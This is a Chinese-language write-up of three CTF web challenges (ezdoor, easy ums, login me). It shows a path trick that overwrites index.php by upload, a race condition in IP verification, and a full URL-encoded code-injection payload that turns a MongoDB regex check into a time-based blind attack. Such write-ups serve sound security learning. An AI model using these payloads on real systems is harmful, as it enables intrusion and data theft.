ezdoor
题目上来就是代码审计,先看看代码
1 |
|
很简单的代码,差不多就是,你可以上传任意文件,但没有权限访问上传的文件。
所以思路很清楚,需要想办法覆盖index.php
很简单,用x/../index.php/.
就可以绕过
构造请求
1 | POST /?action=upload&name=x/../index.php/. HTTP/1.1 |
接下来就是读一下/var/www/html/flag/
里的文件,拿到文件93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
从文件的结构来看是php的opcache文件
想到可以用很久以前提到过用来分析opcache webshell的工具
工具链接
https://github.com/GoSecure/php7-opcache-override
工具很久了,直接pull下来是跑不起来的,需要在py2.7下安2.8.3左右的construct库,然后工具就能用了。
但是中间很长时间的都会报错,到很晚才发现,在opcache的文件结构上,最开始是由OPCACHE\x00
作为开始的,但获取回来不知道为什么没有这个\x00
,修改文件之后成功获取到了php源代码的字节码。
1 | function encrypt() { |
根据php的一些文档,逐步分析字节码,猜测源码,其中最麻烦的坑可能就是变量不确定吧,中间的很多循环都有问题
http://php.net/manual/ro/internals2.opcodes.list.php
最终还原出来的代码近似于,其中encode
函数猜测和python的encode('hex')
相同
1 |
|
直接写python代码逆运算一下
1 | secret = "this_is_a_very_secret_key" |
这里有个很需要注意的点就是,这里的mt_rand
需要php7.2.x以上生成的数据,不然随机数生成结果不同。
easy ums
这题真的是很坑很坑的题目,比赛时遇到一直猜测是和dns或者请求库有关的漏洞,结果没想到是一个比较简单的条件竞争。
附上一片别人的Writeup
题目条件特别少,大意就是,注册时的手机号填ip,验证码会通过想ip的80端口发送请求来发送验证码。
大致就是这样
1 | 202.120.7.196 - - [04/Apr/2018:23:48:46 +0800] "HEAD /?86beaba44806e4ed007aecef7ed1ab15 HTTP/1.1" 200 0 "-" "-" - |
用这个验证码可以验证ip,你就可以把自己用户的ip修改为指定的,当你可以修改为8.8.8.8时,你就可以得到flag。
登陆成功后只有一个修改手机号的功能。
假设我们试图修改自己的验证ip时
我们可以发送这次post请求延时非常大,与我们平时代码书写习惯不同,这里应该是涉及到了对数据库的操作。
这时候假设我们用另一个浏览器登录的话,可以发现index.php页面没有收到任何改变,但如果我们在前一个浏览器的verify.php继续执行的话,仍然可以修改,那么我们可以猜测后台数据库的结构大致为
1 | userid |
在我们发起请求的时候,这里对数据库进行了插入新数据,而index.php页面则是获取了类似于(userid, is_verify)
双限制的数据库结果。
如果后台是类似于这样的结构时,假设我们在发起修改为8.8.8.8的请求时,使用已经获取的旧的token码更新验证,就有可能将8.8.8.8更新为我们的ip。
需要注意的一点就是,这里对单独的seesion请求,请求是单线程处理的,也就是不存在竞争,这里必须用不同session竞争才能成功。
1 | tctf{session_database_keep_updated} |
login me
这个题在我看来其实是一个挺矛盾的题目,有意思的是它的利用点和方式很有趣,但又有很多无趣的点。
代码如下
1 | var express = require('express') |
很容易就能看出来核心代码,就是后面一部分
初看到这个题目其实很容易歪楼,很容易把问题想到mongdb注入上,实际上题目是一个代码注入。
因为req.body是我们发送的请求,那么我们就可以控制正则表达式来替换内容,通过合理的正则,我们可以替换为对this.password
的操作,然后通过js代码执行来获取数据。
这是我们的最终payload
1 | |#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^13fc892df79a86494792e14dcbef252a'+i+'.*/)){sleep(1000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111 |
通过修改这里的match来匹配密码,如果为真则sleep,通过这样的方式,我们成功把代码注入改成了一个盲注,后面就很简单了。